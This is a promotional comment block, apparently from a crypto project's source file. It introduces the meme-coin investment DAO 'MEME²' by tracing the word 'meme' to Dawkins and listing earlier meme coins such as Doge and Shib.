/*
The origin of Meme and its formal subject (called memetics) can be traced back to the 1970s. 
It is particularly noteworthy that Richard Dawkins mentioned Meme in his 1976 book The Selfish Gene, 
and Dawkins' concept of The word Meme is "as a unit of cultural information". 
Dawkins expands on the meaning of the word: "an idea, behavior, style, or usage that spreads from person to person."

When this easy to spread culture entered the blockchain, $Doge and $Shib started a Meme craze. 
This is also because of our love for the DAO of Meme, which enables us to advance further in Meme. 

We went through the beginning of $Doge, the madness of $Shib, then the new hope of $Saitama and $Elon. Then $Shibja and $Shibdoge continued to flourish. 

Now M² is here, we focus on the investment of Meme coin, our community will make investment proposals and vote, welcome to your arrival.
This Is MEME²
